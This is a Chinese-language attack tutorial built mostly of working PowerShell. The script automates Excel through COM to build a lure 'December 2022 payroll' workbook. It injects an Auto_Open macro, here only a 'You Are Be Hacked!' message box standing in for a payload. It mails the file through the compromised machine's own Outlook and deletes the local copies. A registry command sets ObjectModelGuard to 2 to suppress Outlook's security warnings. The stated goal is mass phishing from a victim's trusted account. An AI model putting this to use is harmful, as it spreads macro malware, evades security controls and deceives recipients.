前言
目前,很多软件包括Microsoft Office都是通过COM 对象实现的,它们都可以使用PowerShell(或其他语言)COM 对象来完成程序和服务的自动化操作。基于此,如果受害者机器安装了 Microsoft Office ,恶意软件就可以利用 COM 对象对目标主机进行恶意攻击。
自动化 Microsoft Excel的攻击
1.通过Excel 执行PowerShell。
我们可以使用 New-Object -com 命令创建 Excel 应用程序,然后与返回的对象进行交互。
PS C:\> $excel = New-Object -com Excel.Application
PS C:\> $excel.Visible = $true
注意:如果要隐藏用户界面,应使用 Visible = $false。
2.编辑 Excel 文档
下一步可以添加一个 Workbook 并将一些数据写入特定的 Cell.
PS C:\> $workbook = $excel.Workbooks.Add()
PS C:\> $cell = $workbook.ActiveSheet.Cells(1,1)
PS C:\> $cell.Value = "Here goes the secret message!"
PS C:\> $workbook.Password = "Test"
结果如下所示:
3.保存文档
使用 SaveAs 功能保存文件。
PS C:\> $workbook.SaveAs("EmbraceTheRed")
4.关闭文档
最后,使用 CLose() 关闭 Excel。
PS C:\> $workbook.Close()
PS C:\> $excel.Quit()
自动化 MicrosoftOutlook的攻击
如前所述,Office 的大部分内容都是使用 COM 接口实现的,因此我们也可以实现自动化 Outlook的攻击。
例如,为了将创建的 Excel 文档发送出去,攻击者可以使用 Outlook。
$to = ""
$subject = "Secret Excel Document"
$content = "Important message attached."
$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("EmbraceTheRed")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()
使用这些 COM 自动化技术,可以使安装在受感染机器上的现成应用程序来窃取数据,还可以建立完整的 C2 基础设施和消息通信。
自动化 MicrosoftOutlook发送文档
将上面的两部分结合,先生成 xls 加入宏之后保存为 xlsm,之后作为附件发送至目标,最后再将本地的 Excel 文件删除。
接收方接收邮件
邮件详情
打开表格即中招。
Excel 表格信息,其中最后一次保存者为发送邮件方的主机
代码
powershell write xls
$excel = New-Object -com Excel.Application
$excel.Visible = $false
$workbook = $excel.Workbooks.Add()
$cell = $workbook.ActiveSheet.Cells(1,1)
$cell.Value = "查看工资明细请选择开启宏!"
$workbook.ActiveSheet.Cells(2,1).Value = " 月份 "
$workbook.ActiveSheet.Cells(2,2).Value = " 姓名 "
$workbook.ActiveSheet.Cells(2,3).Value = " 月薪 "
$workbook.ActiveSheet.Cells(2,4).Value = " 餐补 "
$workbook.ActiveSheet.Cells(2,5).Value = " 交补 "
$workbook.ActiveSheet.Cells(2,6).Value = " 出差补助 "
$workbook.ActiveSheet.Cells(2,7).Value = " 通讯费补助 "
$workbook.ActiveSheet.Cells(2,8).Value = " 交通费补助 "
$workbook.ActiveSheet.Cells(2,9).Value = " 笔记本补助 "
$workbook.ActiveSheet.Cells(2,10).Value = " 保密补贴 "
$workbook.ActiveSheet.Cells(2,11).Value = " 试用期导师津贴 "
$workbook.ActiveSheet.Cells(2,12).Value = " 伯乐奖 "
$workbook.ActiveSheet.Cells(2,13).Value = " 入离职不在职扣款 "
$workbook.ActiveSheet.Cells(2,14).Value = " 事假扣款 "
$workbook.ActiveSheet.Cells(2,15).Value = " 病假扣款 "
$workbook.ActiveSheet.Cells(2,16).Value = " 转正/调薪差额 "
$workbook.ActiveSheet.Cells(2,16).Value = " 其他 "
$workbook.ActiveSheet.Cells(2,16).Value = " 超融合奖励 "
$workbook.ActiveSheet.Cells(2,16).Value = " 应发合计 "
$workbook.ActiveSheet.Cells(2,16).Value = " 养老个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 失业个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 社保个人补差 "
$workbook.ActiveSheet.Cells(2,16).Value = " 公积金个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 税率 "
$workbook.ActiveSheet.Cells(2,16).Value = " 个税 "
$workbook.ActiveSheet.Cells(2,16).Value = " 扣除已发超融合奖励 "
$workbook.ActiveSheet.Cells(2,16).Value = " 实发 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计子女教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计赡养老人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计继续教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计住房贷款利息 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计住房租金 "
$workbook.WorkSheets.item(1).Name = "工资明细"
$workbook.author = "财务部"
$workbook.title = "2022年12月工资明细"
$workbook.subject = "2022年12月工资明细"
$workbook.SaveAs("c:\temp\2022年12月工资明细.xls")
$xl = New-Object -ComObject Excel.Application
$xl.Visible = $false
$xl.DisplayAlerts = $false
$workbook = $xl.Workbooks.Open("c:\temp\2022年12月工资明细.xls")
$xlmodule = $workbook.VBProject.VBComponents.Add(1)
$code = @"
Sub Auto_Open()
Msgbox "You Are Be Hacked!"
End Sub
"@
$xlmodule.CodeModule.AddFromString($code)
$workbook.SaveAs("c:\temp\2022年12月工资明细.xlsm",52)
$workbook.Close()
$excel.Quit()
sleep(1)
del c:\temp\2022年12月工资明细.xls
OutLook
$to = "xxxx@qq.com"
$subject = "2022年12月工资明细"
$content = "您好,附件为2022年12月工资明细,请查收,谢谢。"
$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("c:\temp\2022年12月工资明细.xlsm")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()
结合
$excel = New-Object -com Excel.Application
$excel.Visible = $false
$workbook = $excel.Workbooks.Add()
$cell = $workbook.ActiveSheet.Cells(1,1)
$cell.Value = "查看工资明细请选择开启宏!"
$workbook.ActiveSheet.Cells(2,1).Value = " 月份 "
$workbook.ActiveSheet.Cells(2,2).Value = " 姓名 "
$workbook.ActiveSheet.Cells(2,3).Value = " 月薪 "
$workbook.ActiveSheet.Cells(2,4).Value = " 餐补 "
$workbook.ActiveSheet.Cells(2,5).Value = " 交补 "
$workbook.ActiveSheet.Cells(2,6).Value = " 出差补助 "
$workbook.ActiveSheet.Cells(2,7).Value = " 通讯费补助 "
$workbook.ActiveSheet.Cells(2,8).Value = " 交通费补助 "
$workbook.ActiveSheet.Cells(2,9).Value = " 笔记本补助 "
$workbook.ActiveSheet.Cells(2,10).Value = " 保密补贴 "
$workbook.ActiveSheet.Cells(2,11).Value = " 试用期导师津贴 "
$workbook.ActiveSheet.Cells(2,12).Value = " 伯乐奖 "
$workbook.ActiveSheet.Cells(2,13).Value = " 入离职不在职扣款 "
$workbook.ActiveSheet.Cells(2,14).Value = " 事假扣款 "
$workbook.ActiveSheet.Cells(2,15).Value = " 病假扣款 "
$workbook.ActiveSheet.Cells(2,16).Value = " 转正/调薪差额 "
$workbook.ActiveSheet.Cells(2,16).Value = " 其他 "
$workbook.ActiveSheet.Cells(2,16).Value = " 超融合奖励 "
$workbook.ActiveSheet.Cells(2,16).Value = " 应发合计 "
$workbook.ActiveSheet.Cells(2,16).Value = " 养老个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 失业个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 社保个人补差 "
$workbook.ActiveSheet.Cells(2,16).Value = " 公积金个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 税率 "
$workbook.ActiveSheet.Cells(2,16).Value = " 个税 "
$workbook.ActiveSheet.Cells(2,16).Value = " 扣除已发超融合奖励 "
$workbook.ActiveSheet.Cells(2,16).Value = " 实发 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计子女教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计赡养老人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计继续教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计住房贷款利息 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计住房租金 "
$workbook.WorkSheets.item(1).Name = "工资明细"
$workbook.author = "财务部"
$workbook.title = "2022年12月工资明细"
$workbook.subject = "2022年12月工资明细"
$workbook.SaveAs("c:\temp\2022年12月工资明细.xls")
$xl = New-Object -ComObject Excel.Application
$xl.Visible = $false
$xl.DisplayAlerts = $false
$workbook = $xl.Workbooks.Open("c:\temp\2022年12月工资明细.xls")
$xlmodule = $workbook.VBProject.VBComponents.Add(1)
$code = @"
Sub Auto_Open()
Msgbox "You Are Be Hacked!"
End Sub
"@
$xlmodule.CodeModule.AddFromString($code)
$workbook.SaveAs("c:\temp\2022年12月工资明细.xlsm",52)
$workbook.Close()
$excel.Quit()
sleep(1)
del c:\temp\2022年12月工资明细.xls
$to = "xxxx@qq.com"
$subject = "2022年12月工资明细"
$content = "您好,附件为2022年12月工资明细,请查收,谢谢。"
$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("c:\temp\2022年12月工资明细.xlsm")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()
sleep(1)
del c:\temp\2022年12月工资明细.xlsm
如何解决告警问题
这里还有个问题,就是通过 COM 调用 Outlook 发送邮件时会触发安全告警。
官方链接:
解决方案:
- 选择“开始”,然后输入“regedit”。 在搜索结果中,右键单击“注册表编辑器”,然后选择“以管理员身份运行”。
- 在注册表编辑器中,导航到相应的注册表子项,如下所示:
相同的位数安装 (在 32 位 Windows 上安装运行的 32 位办公软件或在 64 位 Windows 上安装运行的 64 位办公软件)︰
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\x.0\Outlook\Security
不同位数安装 (在 64 位 Windows 上安装运行的 32 位办公软件)︰
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\x.0\Outlook\Security
Office 基于 MSI 的安装︰
不同位元 (在 64 位 Windows 上安装运行的 32 位办公软件)︰
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\x.0\Outlook\Security
相同的位数 (在 32 位 Windows 上安装运行的 32 位办公软件或在 64 位 Windows 上安装运行的 64 位办公软件)︰
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\x.0\Outlook\Security
本次测试地址:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Outlook\Security
注意x.0占位符表示 Office 版本 (16.0 代表 Office 2016,15.0 代表 Office 2013 )
- 右键单击注册表子项,然后选择“新建”>“DWORD”。
- 将 DWORD 命名为 ObjectModelGuard。
- 将 DWORD 的值设置为所需的行为:
- DWORD: ObjectModelGuard
- 值:
0 = 在防病毒软件处于非活动状态或过期时警告我存在可疑活动 (推荐)
1 = 始终警告我可疑活动
2 = 切勿警告我可疑活动 (不推荐)
- 退出注册表编辑器。
更新注册表后,检查 Outlook 以确保在“编程访问”设置中正确显示更改:
- 在 Outlook 中,选择“文件”,然后选择“选项”。
- 选择“信任中心”,然后选择“信任中心设置”。
- 选择“编程访问”。
这个可以通过注册表命令行直接修改
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Outlook\Security /v ObjectModelGuard /t REG_DWORD /d 2
但是修改完不会立即生效,需要重启下outlook进程。这里使用powershell命令来重启:
# 关闭Outlook进程
Stop-Process -Name "OUTLOOK"
# 启动Outlook进程
Start-Process "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"
之后再次查看就生效了,然后再运行Powershell脚本就不会触发安全告警了。
总结
本操作主要是当受害者使用的是Outlook邮箱,为了获取到个人PC权限,可以通过该脚本自动化利用本机器用户的邮箱账号批量发送钓鱼邮件。由于使用的是本机器用户的邮箱账号,可信度较高,钓鱼成功率也会随之提升。